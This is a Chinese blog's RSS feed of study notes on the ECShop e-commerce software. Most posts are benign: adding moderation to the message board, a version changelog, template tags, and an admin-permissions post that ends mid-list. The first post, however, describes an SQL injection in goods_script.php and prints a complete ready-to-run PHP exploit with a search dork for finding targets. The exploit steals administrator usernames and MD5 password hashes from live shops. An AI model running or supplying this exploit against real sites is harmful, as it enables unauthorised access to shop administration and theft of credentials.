<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>小杜学习笔记 &#187; ECSHOP</title>
	<atom:link href="http://tinydoo.cn/tag/ecshop/feed" rel="self" type="application/rss+xml" />
	<link>http://tinydoo.cn</link>
	<description>记录生活学习点滴</description>
	<lastBuildDate>Thu, 10 Dec 2009 14:43:24 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>ECShop注射漏洞</title>
		<link>http://tinydoo.cn/2009/272.html</link>
		<comments>http://tinydoo.cn/2009/272.html#comments</comments>
		<pubDate>Tue, 24 Mar 2009 08:57:10 +0000</pubDate>
		<dc:creator>小杜</dc:creator>
				<category><![CDATA[学习笔记]]></category>
		<category><![CDATA[ECSHOP]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://tinydoo.cn/?p=272</guid>
		<description><![CDATA[by Ryat
http://bbs.wolvez.org
2009-03-24
影响2.5.x和2.6.x,其他版本未测试
<span class="readmore"><a href="http://tinydoo.cn/2009/272.html" title="ECShop注射漏洞" target="_blank">阅读全文——共280字</a></span>]]></description>
			<content:encoded><![CDATA[<p>by Ryat<br />
<a href="http://bbs.wolvez.org/">http://bbs.wolvez.org</a><br />
2009-03-24</p>
<p>影响2.5.x和2.6.x,其他版本未测试</p>
<p>goods_script.php44行:<br />
<code><br />
if (empty($_GET['type']))<br />
{<br />
...<br />
}<br />
elseif ($_GET['type'] == 'collection')<br />
{<br />
...<br />
}<br />
$sql .= " LIMIT " . (!empty($_GET['goods_num']) ? intval($_GET['goods_num']) : 10);<br />
$res = $db-&gt;query($sql);<br />
</code></p>
<p>$sql没有初始化,很明显的一个漏洞:)</p>
<p>EXP:<br />
<code><br />
#!/usr/bin/php<br />
<?php</p>
<p>print_r('<br />
+---------------------------------------------------------------------------+<br />
ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit<br />
by puret_t<br />
mail: puretot at gmail dot com<br />
team: http://bbs.wolvez.org<br />
dork: "Powered by ECShop"<br />
+---------------------------------------------------------------------------+<br />
');<br />
/**<br />
 * works with register_globals = On<br />
 */<br />
if ($argc < 3) {<br />
    print_r('<br />
+---------------------------------------------------------------------------+<br />
Usage: php '.$argv[0].' host path<br />
host:      target server (ip/hostname)<br />
path:      path to ecshop<br />
Example:<br />
php '.$argv[0].' localhost /ecshop/<br />
+---------------------------------------------------------------------------+<br />
');<br />
    exit;<br />
}</p>
<p>error_reporting(7);<br />
ini_set('max_execution_time', 0);</p>
<p>$host = $argv[1];<br />
$path = $argv[2];</p>
<p>$resp = send();<br />
preg_match('#href="([\S]+):([a-z0-9]{32})"#', $resp, $hash);</p>
<p>if ($hash)<br />
    exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n");<br />
else<br />
    exit("Exploit Failed!\n");</p>
<p>function send()<br />
{<br />
    global $host, $path;</p>
<p>    $cmd = 'sql=SELECT CONCAT(user_name,0x3a,password) as goods_id FROM ecs_admin_user WHERE action_list=0x'.bin2hex('all').' LIMIT 1#';</p>
<p>    $data = "POST ".$path."goods_script.php?type=".time()."  HTTP/1.1\r\n";<br />
    $data .= "Accept: */*\r\n";<br />
    $data .= "Accept-Language: zh-cn\r\n";<br />
    $data .= "Content-Type: application/x-www-form-urlencoded\r\n";<br />
    $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";<br />
    $data .= "Host: $host\r\n";<br />
    $data .= "Content-Length: ".strlen($cmd)."\r\n";<br />
    $data .= "Connection: Close\r\n\r\n";<br />
    $data .= $cmd;</p>
<p>    $fp = fsockopen($host, 80);<br />
    fputs($fp, $data);</p>
<p>    $resp = '';</p>
<p>    while ($fp &#038;&#038; !feof($fp))<br />
        $resp .= fread($fp, 1024);</p>
<p>    return $resp;<br />
}</p>
<p>?><br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://tinydoo.cn/2009/272.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>给ecshop留言本增加审核功能</title>
		<link>http://tinydoo.cn/2008/218.html</link>
		<comments>http://tinydoo.cn/2008/218.html#comments</comments>
		<pubDate>Wed, 26 Nov 2008 05:38:01 +0000</pubDate>
		<dc:creator>小杜</dc:creator>
				<category><![CDATA[学习笔记]]></category>
		<category><![CDATA[ECSHOP]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[二次开发]]></category>
		<category><![CDATA[原创]]></category>

		<guid isPermaLink="false">http://tinydoo.cn/blog/?p=218</guid>
		<description><![CDATA[原帖发表于ECshop官方论坛 http://bbs.ecshop.com/thread-69730-1-1.html
新版ECshop(V2.61)增加了留言板功能，这个是很有用的，但是在论坛上看到有朋友说，需要审核功能 ，而官方没有给出，就去看了看这个新版的留言本功能.
留言本前台程序是message.php , 后台仍然在会员管理-会员留言 菜单下。数据表在ecs_feedback，控制留言是否显示的字段为msg_area
程序十分简单，留言默认提交时 msg_area为1，所以就直接显示了，增加审核功能，无非就是在提交时候将msg_area设置为0，在后台管理处增加审核按钮，执行一个将该字段设置为1的动作即可
<span class="readmore"><a href="http://tinydoo.cn/2008/218.html" title="给ecshop留言本增加审核功能" target="_blank">阅读全文——共942字</a></span>]]></description>
			<content:encoded><![CDATA[<p>原帖发表于ECshop官方论坛 http://bbs.ecshop.com/thread-69730-1-1.html</p>
<p>新版ECshop(V2.61)增加了留言板功能，这个是很有用的，但是在论坛上看到有朋友说，需要审核功能 ，而官方没有给出，就去看了看这个新版的留言本功能.<br />
留言本前台程序是message.php , 后台仍然在会员管理-会员留言 菜单下。数据表在ecs_feedback，控制留言是否显示的字段为msg_area<br />
程序十分简单，留言默认提交时 msg_area为1，所以就直接显示了，增加审核功能，无非就是在提交时候将msg_area设置为0，在后台管理处增加审核按钮，执行一个将该字段设置为1的动作即可<br />
1- 打开message.php,找到79行 ‘msg_area’    =&gt; 1 将其修改为  ‘msg_area’    =&gt; 0<br />
2- 打开admin/user_msg.php ，在适当的位置添加如代码：<br />
<code lang="php"><br />
if ($_REQUEST['act']==’checked’)<br />
{<br />
/* 权限判断 */<br />
admin_priv(’feedback_priv’);<br />
$id = empty($_GET['id']) ? 0 : intval($_GET['id']);<br />
$sql = ‘UPDATE’. $ecs->table(’feedback’).’ SET msg_area =1 WHERE  msg_id =’.$id;<br />
$db->query($sql);</p>
<p>/* 返回列表 */<br />
$link[] = array(’text’ => $_LANG['go_back'], ‘href’ =>‘javascript:history.back(-1)’);<br />
sys_msg($_LANG['attradd_succed'], 0, $link);<br />
//    ecs_header(”Location: user_msg.php?act=list_all\n”);<br />
exit;<br />
}</code><br />
3- 修改模板文件 admin/templates/msg_list.htm, 在<br />
<code lang="HTML"><br />
<a title="”{$lang.remove}”" onclick="”listTable.remove({$msg.msg_id}," href="”javascript:;”"><br />
<img src="”images/icon_drop.gif”" border="”0″" alt="" width="”16″" height="”16″" /><br />
</a><br />
</code><br />
之后增加代码<br />
<code lang="HTML"><br />
<a href="”user_msg.php?act=checked&amp;id={$msg.msg_id}”"><br />
<img src="”images/icon_priv.gif”" border="”0″" alt="" width="”16″" height="”16″" /><br />
</a><br />
</code><br />
好了，审核功能就实现了。<br />
其实这个功能非常的简单，之所以写下来，是想表达一个想法：不管需求大小，对于真正需要它的人，都是重要的。<br />
其实每个ECshop的功能扩展，都是这样的步骤，希望大家都能来感受一下亲手DIY的乐趣 ，这也是我非常喜欢EC的原因</p>
]]></content:encoded>
			<wfw:commentRss>http://tinydoo.cn/2008/218.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>ECShop V2.6.1 发布了</title>
		<link>http://tinydoo.cn/2008/29.html</link>
		<comments>http://tinydoo.cn/2008/29.html#comments</comments>
		<pubDate>Fri, 31 Oct 2008 08:21:14 +0000</pubDate>
		<dc:creator>小杜</dc:creator>
				<category><![CDATA[学习笔记]]></category>
		<category><![CDATA[ECSHOP]]></category>
		<category><![CDATA[新版本]]></category>

		<guid isPermaLink="false">http://tinydoo.cn/blog/?p=29</guid>
		<description><![CDATA[好久没有新版本更新了，本次更新最大的喜讯可能就是不再绑定Ucenter了
不过这是针对那些网店主而言的，对于我们关注程序的人来说 更多的是他的新增功能和修复
列表如下：
ChangeLog： [新增] 新增按配送方式打印配送单的功能 [新增] 新增订单列表页能直接显示订单下的商品及缩图的功能 [新增] 新增网站留言板功能 [新增] 新增网站报价单功能 [新增] 新增新的分页显示方式,用户可以指定分页的显示方式 [新增] 导出CSV文件时允许用户自定义导出字段及顺序 [新增] 新增与UCenter整合后的积分兑换的功能 [新增] 新增全部品牌展示的页面 [新增] 新增在首页促销模块显示分类下的推荐商品的功能 [新增] 新增lib_base.php用来存储基础函数 [新增] 新增上传商品是否自动生成相册图的开关设置 [新增] 新增上传商品时是否保留原图的开关设置 [新增] 新增首页推荐商品排序的选项 [新增] 新增下订单时是否给客服发邮件的开关设置 [新增] 新增是否开启会员邮件验证的开关设置 [新增] 新增是否关闭会员注册的开关设置 [新增] 新增购物车里显示商品方式的选项 [新增] 新增购物车里是否显示商品属性的开关设置 [新增] 新增首页FLASH样式选择的功能 [变更] 会员整合由强制UC整合变更为插件形式 [变更] SQL缓存方式变更为静态文件存储 [变更] 相册存储目录变更，能够快捷的找到商品对应的图片 [变更] 商品属性允许复选属性购物加价 [变更] 商品图片允许调用外部图片链接 [变更] 图片批量处理时增加可选择范围，能够对选定的部分商品图片进行单独处理 [变更] 允许用户在添加商品时指定购物返还的等级积分 [变更] 热门搜索关键词调整为全站均可显示 [变更] 购物流程参数调整为GET方式以方便用户借助三方工具统计订单信息 [变更] 支付插件网银在线改用订单号传递唯一编号 [变更] 自动记录用户上次添加/修改商品时所选择的分类 [变更] 拍卖活动允许进行无封顶拍卖 [变更] 商品相册使用FLASH播放显示 [变更] 订单搜索时增加付款中状态 [变更] 给店主发送订单邮件时,增加更多有关订单详情的内容 [变更] 导出CSV文件时允许对商品进行选择式导出 [变更] 缓存及备份文件放入到TEMP文件夹下 [变更] 品牌页标题变更,优化SEO [变更] 销售排行中库存数量为0时，不再继续显示 [变更] 顺丰快递更改查询发货单号地址 [修正] 修改选购中心属性过多时，用户一旦筛选属性就会造成mysql锁表的错误 [修正] 修改生成的商品列表时页面编码的错误 [修正] 修改订单&#8221;前一个订单&#8221;，&#8221;后一个订单&#8221;查找结果的错误 [修正] 修改批量处理商品图时，原图被删除的错误 [修正] 修改后台分成管理页面的从&#8221;第一页&#8221;点&#8221;下一页&#8221;没有响应的错误 [修正] 修改配送方式新增配送区域模板的错误 [修正] 修改使用重写时Feed生成的商品链接参数不正确的错误 [修正] 修改wap部分编码没有转换的错误 [修正] 修改推荐分成log记录显示用户ID不正确的错误 [修正] 修改高级搜索页面的商品列表显示不正确的错误 [修正] 修改倒计时使用的时间为用户机器时间的错误 [修正] 修改进入团购购物车后再购买其他商品时返回的积分不正确的错误 [修正] 修改会员推荐商品代码乱码修复的错误 [修正] 修改mysql扩展插入时不自动截断的错误 [修正] 修改会员生日与前台不一致的错误 [修正] 修改用户中心订单中的放回购物车不能按会员价计算的错误
<span class="readmore"><a href="http://tinydoo.cn/2008/29.html" title="ECShop V2.6.1 发布了" target="_blank">阅读全文——共1387字</a></span>]]></description>
			<content:encoded><![CDATA[<p>好久没有新版本更新了，本次更新最大的喜讯可能就是不再绑定Ucenter了</p>
<p>不过这是针对那些网店主而言的，对于我们关注程序的人来说 更多的是他的新增功能和修复</p>
<p>列表如下：</p>
<p><span class="Apple-style-span" style="border-collapse: collapse; color: #7b7d72; font-family: Arial; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 22px; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span style="line-height: normal; font-size: large;"><strong style="font-style: normal; line-height: normal; font-weight: bold;">ChangeLog：</strong></span><br style="line-height: normal;" /><br style="line-height: normal;" /><span style="line-height: normal; color: red;"> [新增] 新增按配送方式打印配送单的功能</span><br style="line-height: normal;" /><span style="line-height: normal; color: red;"> [新增] 新增<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">订单</span><span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">列表</span>页能直接<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">显示</span>订单下的商品及缩图的功能</span><br style="line-height: normal;" /><span style="line-height: normal; color: red;"> [新增] 新增网站<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">留言</span>板功能</span><br style="line-height: normal;" /><span style="line-height: normal; color: red;"> [新增] 新增网站报价单功能</span><br style="line-height: normal;" /><span style="line-height: normal; color: red;"> [新增] 新增新的分页显示方式,用户可以指定分页的显示方式</span><br style="line-height: normal;" /><span style="line-height: normal; color: red;"> [新增] 导出CSV<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">文件</span>时允许用户自定义导出字段及顺序</span><br style="line-height: normal;" /><span style="line-height: normal; color: red;"> [新增] 新增与UCenter整合后的<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">积分</span>兑换的功能</span><br style="line-height: normal;" /> [新增] 新增全部<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">品牌</span>展示的<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">页面</span><br style="line-height: normal;" /> [新增] 新增在<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">首页</span>促销模块显示<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">分类</span>下的<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">推荐</span>商品的功能<br style="line-height: normal;" /> [新增] 新增lib_base.php用来存储基础函数<br style="line-height: normal;" /> [新增] 新增上传商品是否<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">自动</span>生成<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">相册</span>图的开关<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">设置</span><br style="line-height: normal;" /> [新增] 新增上传商品时是否保留原图的开关设置<br style="line-height: normal;" /> [新增] 新增首页推荐商品排序的选项<br style="line-height: normal;" /> [新增] 新增下订单时是否给客服发<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">邮件</span>的开关设置<br style="line-height: normal;" /> [新增] 新增是否开启<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">会员</span>邮件<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">验证</span>的开关设置<br style="line-height: normal;" /> [新增] 新增是否关闭会员注册的开关设置<br style="line-height: normal;" /> [新增] 新增<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">购物车</span>里显示商品方式的选项<br style="line-height: normal;" /> [新增] 新增购物车里是否显示商品<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">属性</span>的开关设置<br style="line-height: normal;" /> [新增] 新增首页FLASH样式选择的功能<br style="line-height: normal;" /> <span style="line-height: normal; color: red;">[变更] 会员整合由强制UC整合变更为插件形式</span><br style="line-height: normal;" /><span style="line-height: normal; color: red;"> [变更] SQL缓存方式变更为<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">静态</span>文件存储</span><br style="line-height: normal;" /><span style="line-height: normal; color: red;"> [变更] 相册存储<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">目录</span>变更，能够快捷的找到商品对应的图片</span><br style="line-height: normal;" /><span style="line-height: normal; color: red;"> [变更] 商品属性允许复选属性购物加价</span><br style="line-height: normal;" /><span style="line-height: normal; color: red;"> [变更] 商品图片允许调用外部图片<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">链接</span></span><br style="line-height: normal;" /><span style="line-height: normal; color: red;"> [变更] 图片批量处理时增加可选择范围，能够对选定的部分商品图片进行单独处理</span><br style="line-height: normal;" /><span style="line-height: normal; color: red;"> [变更] 允许用户在添加商品时指定购物返还的等级积分</span><br style="line-height: normal;" /><span style="line-height: normal; color: red;"> [变更] 热门<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">搜索</span>关键词调整为全站均可显示</span><br style="line-height: normal;" /> [变更] 购物流程参数调整为GET方式以方便用户借助三方工具统计订单信息<br style="line-height: normal;" /> [变更]<span class="Apple-converted-space"> </span><span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">支付</span>插件网银<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">在线</span>改用订单号传递唯一编号<br style="line-height: normal;" /> [变更] 自动记录用户上次添加/修改商品时所选择的分类<br style="line-height: normal;" /> [变更] 拍卖活动允许进行无封顶拍卖<br style="line-height: normal;" /> [变更] 商品相册使用FLASH播放显示<br style="line-height: normal;" /> [变更] 订单搜索时增加<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">付款</span>中状态<br style="line-height: normal;" /> [变更] 给店主发送订单邮件时,增加更多有关订单<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">详情</span>的内容<br style="line-height: normal;" /> [变更] 导出CSV文件时允许对商品进行选择式导出<br style="line-height: normal;" /> [变更] 缓存及备份文件放入到TEMP文件夹下<br style="line-height: normal;" /> [变更] 品牌页标题变更,优化SEO<br style="line-height: normal;" /> [变更] 销售排行中库存<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">数量</span>为0时，不再继续显示<br style="line-height: normal;" /> [变更] 顺丰快递更改查询<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">发货</span>单号<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">地址</span><br style="line-height: normal;" /> <span style="line-height: normal; color: red;">[修正] 修改选购中心属性过多时，用户一旦筛选属性就会造成<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">mysql</span>锁表的错误</span><br style="line-height: normal;" /> [修正] 修改生成的商品列表时页面编码的错误<br style="line-height: normal;" /> [修正] 修改订单&#8221;前一个订单&#8221;，&#8221;后一个订单&#8221;查找结果的错误<br style="line-height: normal;" /> [修正] 修改批量处理商品图时，原图被<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">删除</span>的错误<br style="line-height: normal;" /> [修正] 修改<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">后台</span>分成<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">管理</span>页面的从&#8221;第一页&#8221;点&#8221;下一页&#8221;没有响应的错误<br style="line-height: normal;" /> [修正] 修改配送方式新增配送区域模板的错误<br style="line-height: normal;" /> [修正] 修改使用重写时Feed生成的商品链接参数不正确的错误<br style="line-height: normal;" /> [修正] 修改wap部分编码没有转换的错误<br style="line-height: normal;" /> [修正] 修改推荐分成log记录显示用户ID不正确的错误<br style="line-height: normal;" /> [修正] 修改高级搜索页面的商品列表显示不正确的错误<br style="line-height: normal;" /> [修正] 修改倒计时使用的时间为用户机器时间的错误<br style="line-height: normal;" /> [修正] 修改进入团购购物车后再购买其他商品时返回的积分不正确的错误<br style="line-height: normal;" /> [修正] 修改会员推荐商品<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">代码</span><span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">乱码</span>修复的错误<br style="line-height: normal;" /> [修正] 修改mysql扩展插入时不自动截断的错误<br style="line-height: normal;" /> [修正] 修改会员生日与<span class="t_tag" style="border-bottom: 1px solid #ff0000; line-height: normal; cursor: pointer; white-space: nowrap;" onclick="tagshow(event)">前台</span>不一致的错误<br style="line-height: normal;" /> [修正] 修改用户中心订单中的放回购物车不能按会员价计算的错误</span></p>
<p>已经下载了 ，晚上回去测试……</p>
]]></content:encoded>
			<wfw:commentRss>http://tinydoo.cn/2008/29.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ecshop的模板标签</title>
		<link>http://tinydoo.cn/2008/20.html</link>
		<comments>http://tinydoo.cn/2008/20.html#comments</comments>
		<pubDate>Wed, 22 Oct 2008 04:46:24 +0000</pubDate>
		<dc:creator>小杜</dc:creator>
				<category><![CDATA[学习笔记]]></category>
		<category><![CDATA[ECSHOP]]></category>
		<category><![CDATA[二次开发]]></category>
		<category><![CDATA[原创]]></category>

		<guid isPermaLink="false">http://tinydoo.cn/blog/?p=20</guid>
		<description><![CDATA[Ecshop的模板标签
经常在ec的论坛看到要求官方发布EC模板标签列表的呼声，甚至有热心网友也在整理一些标签列表
其实我知道，很多希望制作模板的人，就是因为对标签的不熟悉，无法下手
今天我就来说一说，官方为什么不能给这个列表，以及教会你怎么掌握EC的模板机制，通过这篇文章，你就不再需要官方发布什么&#8221;标签列表&#8221;就能随心所欲的使用EC的标签，制作你的模板了！
<span class="readmore"><a href="http://tinydoo.cn/2008/20.html" title="Ecshop的模板标签" target="_blank">阅读全文——共651字</a></span>]]></description>
			<content:encoded><![CDATA[<h2>Ecshop的模板标签</h2>
<div id="postmessage_185" class="t_msgfont">经常在ec的论坛看到要求官方发布EC模板标签列表的呼声，甚至有热心网友也在整理一些标签列表<br />
其实我知道，很多希望制作模板的人，就是因为对标签的不熟悉，无法下手<br />
今天我就来说一说，官方为什么不能给这个列表，以及教会你怎么掌握EC的模板机制，通过这篇文章，你就不再需要官方发布什么&#8221;标签列表&#8221;就能随心所欲的使用EC的标签，制作你的模板了！<br />
通过一个小例子来解释一下EC模板运行的大致原理。比如登录用户中心我们看到的第一句话:“admin,欢迎你回到ecshop”。<br />
先来看一下EC的模板是怎么做的，代码如下： </p>
<div class="blockcode"><em>复制内容到剪贴板</em> </p>
<h5>代码:</h5>
<p><code id="code0">  <br />
    &lt;h3 style="margin:0px;color:#555;"&gt; {$info.username} {$lang.welcome_to} {$info.shop_name}！&lt;/h3&gt;</code></div>
<p>这里的标签{$info.username} 是怎么来的呢？</p>
<p>简单说一下EC模板工作原理：<br />
假设在new.php文件里有这样一段代码</p>
<div class="blockcode"><em>复制内容到剪贴板</em> </p>
<h5>代码:</h5>
<p><code id="code1">    $username = "xiaodu";<br />
    $smarty-&gt;assign('myname',   $username);<br />
    $smarty-&gt;display('new.htm');</code></div>
<p>那么我们在设计new.htm的时候就可以使用{$myname}这个标签了，运行new.php将显示：xiaodu</p>
<p>PHP程序就是这样和模板挂起钩的，这样大家就应该明白为什么没有所谓的 标签列表 了吧。你可以任意的定义任何你想要的变量到你的模板！</p></div>
]]></content:encoded>
			<wfw:commentRss>http://tinydoo.cn/2008/20.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>ECshop订单操作权限的开发</title>
		<link>http://tinydoo.cn/2008/7.html</link>
		<comments>http://tinydoo.cn/2008/7.html#comments</comments>
		<pubDate>Mon, 13 Oct 2008 02:46:15 +0000</pubDate>
		<dc:creator>小杜</dc:creator>
				<category><![CDATA[学习笔记]]></category>
		<category><![CDATA[ECSHOP]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[二次开发]]></category>
		<category><![CDATA[原创]]></category>

		<guid isPermaLink="false">http://tinydoo.cn/blog/?p=7</guid>
		<description><![CDATA[&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;
作者：xiaodu
发表： 2008-9-21
网站： http://www.eblhost.cn/forum/viewthread.php?tid=18
<span class="readmore"><a href="http://tinydoo.cn/2008/7.html" title="ECshop订单操作权限的开发" target="_blank">阅读全文——共2908字</a></span>]]></description>
			<content:encoded><![CDATA[<p><span style="font-family: Arial;"><span>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
作者：xiaodu</span></span></p>
<p align="left"><span style="font-family: Helvetica;"><span>发表： 2008-9-21</span></span></p>
<p><span style="font-family: Arial;"><span>网站： </span></span><a href="http://www.eblhost.cn/forum/viewthread.php?tid=18&amp;extra=page%3D1" target="_blank">http://www.eblhost.cn/forum/viewthread.php?tid=18</a><span style="font-family: Arial;"><span><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</span></span></p>
<p align="left"><span style="font-family: Helvetica;"><span>ECshop是当前最流行的电子<span class="t_tag" onclick="tagshow(event)">商城</span>软件，而且由于完全开源，对于我们二次开发出符合我们自身特点的<span class="t_tag" onclick="tagshow(event)">系统</span>，非常有利。下面就以一个简单的实例，<span class="t_tag" onclick="tagshow(event)">描述</span>一次关于订单操作权限的添加过程。</span></span></p>
<p>一 基础知识</p>
<p>首先我们需要了解以下一些基本的知识：<br />
1.ECshop的所有可用权限<span class="t_tag" onclick="tagshow(event)">列表</span>存储在<span class="t_tag" onclick="tagshow(event)">数据库</span>’ecs_admin_action’表中<br />
2.权限判断通过admin_priv函数实现<br />
3.<span class="t_tag" onclick="tagshow(event)">管理员</span>的权限<span class="t_tag" onclick="tagshow(event)">设置</span>可以通过<span class="t_tag" onclick="tagshow(event)">后台</span>编辑<span class="t_tag" onclick="tagshow(event)">管理</span>员信息来分配</p>
<p>二 权限详解</p>
<p>1、<span class="t_tag" onclick="tagshow(event)">商品</span>管理，共有9个权限项目，以下分别是：<br />
goods_manage,商品添加/编辑<br />
remove_back,商品<span class="t_tag" onclick="tagshow(event)">删除</span>/恢复<br />
cat_manage,<span class="t_tag" onclick="tagshow(event)">分类</span>添加/编辑<br />
cat_drop,分类转移/删除<br />
attr_manage,商品<span class="t_tag" onclick="tagshow(event)">属性</span>管理<br />
brand_manage,商品品牌管理<br />
comment_priv,<span class="t_tag" onclick="tagshow(event)">用户</span><span class="t_tag" onclick="tagshow(event)">评论</span>管理<br />
tag_manage,标签管理<br />
goods_type,商品类型</p>
<p>2、文章管理，共有6个权限项目，以下分别是：<br />
article_cat,文章分类管理<br />
article_manage,文章内容管理<br />
shopinfo_manage,<span class="t_tag" onclick="tagshow(event)">网店</span>信息管理<br />
shophelp_manage,网店帮助管理<br />
vote_priv,<span class="t_tag" onclick="tagshow(event)">在线</span>调查管理<br />
topic_manage,专题管理</p>
<p>3、<span class="t_tag" onclick="tagshow(event)">会员</span>管理，共有8个权限项目，以下分别是：<br />
feedback_priv,会员<span class="t_tag" onclick="tagshow(event)">留言</span>管理<br />
integrate_users,会员<span class="t_tag" onclick="tagshow(event)">数据</span>整合<br />
sync_users,同步会员数据<br />
users_manage,会员管理<br />
users_drop,会员删除<br />
user_rank,会员<span class="t_tag" onclick="tagshow(event)">等级</span>管理<br />
